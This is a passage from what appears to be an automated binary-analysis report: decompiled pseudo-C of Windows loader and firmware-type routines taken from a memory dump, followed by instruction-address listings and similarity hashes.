					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E1E4153CA(0);
						return E1E3ED130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E1E3DF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E1E3B3690(1, _t117, 0x1e371810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E1E3DAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L1E3B4620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E1E3DAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E1E41500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E1E3D9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x1e4151be
0x1e4151c3
0x1e4151c8
0x1e4151cd
0x1e4151d0
0x1e4151d3
0x1e4151d8
0x1e4151db
0x1e4151de
0x1e4151e0
0x1e4151e3
0x1e4151e6
0x1e4151e8
0x1e415342
0x1e415351
0x1e415356
0x1e41535a
0x1e415360
0x1e415363
0x1e415366
0x1e415369
0x1e415369
0x1e41536b
0x1e41536b
0x1e415370
0x1e4153a3
0x1e4153a4
0x1e4153a6
0x1e4153ab
0x1e4153ab
0x1e4153ae
0x1e4153ae
0x1e4153b5
0x1e4153bf
0x1e4153bf
0x1e415375
0x1e415396
0x1e4153a0
0x1e4153a0
0x00000000
0x1e415396
0x1e415377
0x1e415379
0x1e41537f
0x1e41538c
0x1e415390
0x00000000
0x1e415390
0x1e4151ee
0x1e4151f1
0x1e415301
0x1e415310
0x1e415315
0x1e415318
0x1e41531b
0x1e415320
0x1e41532e
0x1e415331
0x00000000
0x1e415331
0x1e415328
0x1e415329
0x00000000
0x1e415329
0x1e4151fa
0x1e415235
0x1e415236
0x1e415239
0x1e41523f
0x1e415240
0x1e415241
0x1e415242
0x1e415246
0x1e415247
0x1e41524e
0x1e415251
0x1e415267
0x1e415269
0x1e41526e
0x1e41527d
0x1e41527e
0x1e415281
0x1e415282
0x1e415287
0x1e415288
0x1e41528a
0x1e41528f
0x1e415294
0x00000000
0x00000000
0x1e41529a
0x1e41529c
0x1e41529e
0x1e41529e
0x1e4152a4
0x1e4152b0
0x00000000
0x00000000
0x1e4152ba
0x1e4152bc
0x1e4152bc
0x1e4152d4
0x1e4152d9
0x1e4152dc
0x1e4152e1
0x00000000
0x00000000
0x1e4152e7
0x1e4152f4
0x00000000
0x1e4152f4
0x1e415270
0x00000000
0x1e415270
0x1e4151fc
0x1e4151fd
0x1e415202
0x1e415203
0x1e415205
0x1e41520a
0x1e41520f
0x00000000
0x00000000
0x1e41521b
0x1e415226
0x1e41522b
0x1e41521d
0x1e41521d
0x1e415222
0x1e415222
0x1e41522d
0x00000000

Strings

UEFI, xrefs: 1E41521D
Legacy, xrefs: 1E415226

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: e430b3090c922ae802e348a84f49501a535d89e9af9a127840ce9fe4971f9bdf
Instruction ID: dd5273950e53740003de2e4510113c3918b11197882e8f0fb18e4d70c5fe6235
Opcode Fuzzy Hash: e430b3090c922ae802e348a84f49501a535d89e9af9a127840ce9fe4971f9bdf
Instruction Fuzzy Hash: 4E517CB2D006589FDF14CFA98950BEDBBB9BF48700F18462EE509EB241D775A941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3AD5E0, Relevance: 1.9, APIs: 1, Instructions: 353
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E1E3AD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				intOrPtr _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x1e48d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E1E3A6600(0x1e4852d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1e487b9c; // 0x0
							_t281 = L1E3B4620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E1E3DF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1e487b90; // 0x77df0000
								if(_t384 == 0) {
									_t353 =  *0x1e487b8c; // 0x852a80
									_v176 = _t353;
									_t63 = _t353 + 0x50; // 0x852b30
									_t64 =  *_t63 + 0x20; // 0x9
									_t320 =  *_t64;
									_v184 = _t320;
								} else {
									E1E3B2280(_t200, 0x1e4884d8);
									_t277 =  *0x1e4885f4; // 0x854098
									_t351 =  *0x1e4885f8 & 1;
									while(_t277 != 0) {
										_t21 = _t277 - 0x50; // 0x75080000
										_t337 =  *_t21;
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t23 = _t277 - 0x18; // 0x852eb0
													_t340 =  *_t23;
													_t24 = _t277 - 0x68; // 0x854030
													_t353 = _t24;
													_v176 = _t353;
													__eflags =  *((intOrPtr*)(_t340 + 0xc)) - 0xffffffff;
													if( *((intOrPtr*)(_t340 + 0xc)) != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t30 = _t353 + 0x50; // 0x852eb0
															_t340 =  *_t30;
														}
													}
													_t31 = _t340 + 0x20; // 0x9
													_v184 =  *_t31;
												}
											} else {
												_t22 = _t277 + 4; // 0x853c90
												_t339 =  *_t22;
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E1E3AFFB0(_t287, _t353, 0x1e4884d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E1E3ECC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E1E3A6600(0x1e4852d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E1E3A7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x1e48b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E1E41E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1e488472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x1e48b218; // 0x0
														asm("ror edi, cl");
														 *0x1e48b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E1E3B2280(_t250, 0x1e4884d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L1E3D3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E1E3AFFB0(_t293, _t353, 0x1e4884d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E1E3D37F5(_t353, 0);
																}
																E1E3D0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E1E3C9B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E1E3C02D6(_t174);
																}
																L1E3B77F0( *0x1e487b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E1E3CC277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L1E3AEC7F(_t353);
										L1E3C19B8(_t287, 0, _t353, 0);
										_t200 = E1E39F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E1E3DB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x1e48b2f8; // 0x0
									if((_t206 |  *0x1e48b2fc) == 0 || ( *0x1e48b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x1e48b2ec; // 0x0
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E1E446B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E1E446AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E1E3AE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L1E3AEAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E1E3D9730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E1E3AE9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L1E3A8F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E1E3D3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x1e3ad5f2
0x1e3ad5f5
0x1e3ad5f5
0x1e3ad5fd
0x1e3ad600
0x1e3ad60a
0x1e3ad60d
0x1e3ad617
0x1e3ad61d
0x1e3ad627
0x1e3ad62e
0x1e3ad911
0x1e3ad913
0x00000000
0x1e3ad919
0x1e3ad919
0x1e3ad919
0x1e3ad634
0x1e3ad634
0x1e3ad634
0x1e3ad634
0x1e3ad640
0x1e3ad8bf
0x00000000
0x1e3ad646
0x1e3ad646
0x1e3ad64d
0x1e3ad652
0x1e3fb2fc
0x1e3fb2fc
0x1e3fb302
0x1e3fb33b
0x1e3fb341
0x00000000
0x1e3fb304
0x1e3fb304
0x1e3fb319
0x1e3fb31e
0x1e3fb324
0x1e3fb326
0x1e3fb332
0x1e3fb347
0x1e3fb34c
0x1e3fb351
0x1e3fb35a
0x00000000
0x1e3fb328
0x1e3fb328
0x00000000
0x1e3fb328
0x1e3fb326
0x1e3ad658
0x1e3ad658
0x1e3ad65b
0x1e3ad665
0x00000000
0x1e3ad66b
0x1e3ad66b
0x1e3ad66b
0x1e3ad66b
0x1e3ad66d
0x1e3ad672
0x1e3ad67a
0x00000000
0x00000000
0x1e3ad680
0x1e3ad686
0x1e3ad8ce
0x1e3ad8d4
0x1e3ad8da
0x1e3ad8dd
0x1e3ad8dd
0x1e3ad8e0
0x1e3ad68c
0x1e3ad691
0x1e3ad69d
0x1e3ad6a2
0x1e3ad6a7
0x1e3ad6b0
0x1e3ad6b0
0x1e3ad6b5
0x1e3ad6e0
0x1e3ad6b7
0x1e3ad6b7
0x1e3ad6b9
0x1e3ad6b9
0x1e3ad6bb
0x1e3ad6bd
0x1e3ad6ce
0x1e3ad6d0
0x1e3ad6d2
0x1e3fb363
0x1e3fb365
0x00000000
0x1e3fb36b
0x00000000
0x1e3fb36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3ad6bf
0x1e3ad6bf
0x1e3ad6e5
0x1e3ad6e7
0x1e3ad6e9
0x1e3ad6e9
0x1e3ad6ec
0x1e3ad6ec
0x1e3ad6ef
0x1e3ad6f5
0x1e3ad6f9
0x1e3ad6fb
0x1e3ad6fd
0x1e3ad701
0x1e3ad703
0x1e3ad70a
0x1e3ad70a
0x1e3ad70a
0x1e3ad701
0x1e3ad70d
0x1e3ad710
0x1e3ad710
0x1e3ad6c1
0x1e3ad6c1
0x1e3ad6c1
0x1e3ad6c6
0x1e3fb36d
0x1e3fb36f
0x00000000
0x1e3fb375
0x1e3fb375
0x1e3fb375
0x00000000
0x1e3fb375
0x00000000
0x1e3ad6cc
0x1e3ad6d8
0x1e3ad6d8
0x1e3ad6d8
0x00000000
0x1e3ad6c6
0x1e3ad6bf
0x00000000
0x1e3ad6da
0x1e3ad6da
0x1e3ad716
0x1e3ad71b
0x1e3ad720
0x1e3ad726
0x1e3ad726
0x1e3ad72d
0x00000000
0x1e3ad733
0x1e3ad739
0x1e3ad742
0x1e3ad750
0x1e3ad758
0x1e3ad764
0x1e3ad776
0x1e3ad77a
0x1e3ad783
0x1e3ad928
0x1e3ad92c
0x1e3ad93d
0x1e3ad944
0x1e3ad94f
0x1e3ad954
0x1e3ad956
0x1e3ad95f
0x1e3ad961
0x1e3ad973
0x1e3ad973
0x1e3ad956
0x1e3ad944
0x1e3ad92c
0x1e3ad78b
0x1e3fb394
0x1e3ad791
0x1e3ad798
0x1e3fb3a3
0x1e3fb3bb
0x1e3fb3bb
0x1e3ad7a5
0x1e3ad866
0x1e3ad870
0x1e3ad884
0x1e3ad892
0x1e3ad898
0x1e3ad89e
0x1e3ad8a0
0x1e3ad8a6
0x1e3ad8ac
0x1e3ad8ae
0x1e3ad8b4
0x1e3ad8b4
0x1e3ad8ae
0x1e3ad7a5
0x1e3ad78b
0x1e3ad7b1
0x1e3fb3c5
0x1e3fb3c5
0x1e3ad7c3
0x1e3ad7ca
0x1e3ad7e5
0x1e3ad7eb
0x1e3ad8eb
0x1e3ad8ed
0x00000000
0x1e3ad8f3
0x1e3ad8f3
0x1e3ad8f3
0x00000000
0x1e3ad8ed
0x1e3ad7cc
0x1e3ad7cc
0x1e3ad7d2
0x00000000
0x1e3ad7d4
0x1e3ad7d4
0x1e3ad7d7
0x1e3ad7df
0x1e3fb3d4
0x1e3fb3d9
0x1e3fb3dc
0x1e3fb3dc
0x1e3fb3df
0x1e3fb3e2
0x1e3fb468
0x1e3fb46d
0x1e3fb46f
0x1e3fb46f
0x1e3fb475
0x1e3ad8f8
0x1e3ad8f9
0x1e3ad8fd
0x1e3fb3e8
0x1e3fb3e8
0x1e3fb3eb
0x1e3fb3ed
0x00000000
0x1e3fb3ef
0x1e3fb3ef
0x1e3fb3f1
0x1e3fb3f4
0x1e3fb3fe
0x1e3fb404
0x1e3fb409
0x1e3fb40e
0x1e3fb410
0x1e3fb410
0x1e3fb414
0x1e3fb414
0x1e3fb41b
0x1e3fb420
0x1e3fb423
0x1e3fb425
0x1e3fb427
0x1e3fb42a
0x1e3fb42d
0x1e3fb42d
0x1e3fb42a
0x1e3fb432
0x1e3fb436
0x1e3fb438
0x1e3fb43b
0x1e3fb43b
0x1e3fb449
0x1e3fb44e
0x1e3fb454
0x1e3fb458
0x1e3fb458
0x1e3fb45d
0x00000000
0x1e3fb45d
0x1e3fb3ed
0x00000000
0x00000000
0x00000000
0x1e3ad7df
0x1e3ad7d2
0x1e3ad7ca
0x1e3fb37c
0x1e3fb37e
0x1e3fb385
0x1e3fb38a
0x00000000
0x1e3fb38a
0x1e3ad742
0x1e3ad7f1
0x1e3ad7f8
0x1e3fb49b
0x1e3fb49b
0x1e3ad800
0x1e3ad837
0x1e3ad843
0x1e3ad845
0x1e3ad847
0x1e3ad84a
0x1e3ad84b
0x1e3ad84e
0x1e3ad857
0x1e3ad802
0x1e3ad802
0x1e3ad80d
0x00000000
0x1e3ad818
0x1e3ad818
0x1e3ad824
0x1e3ad831
0x1e3fb4a5
0x1e3fb4ab
0x1e3fb4b3
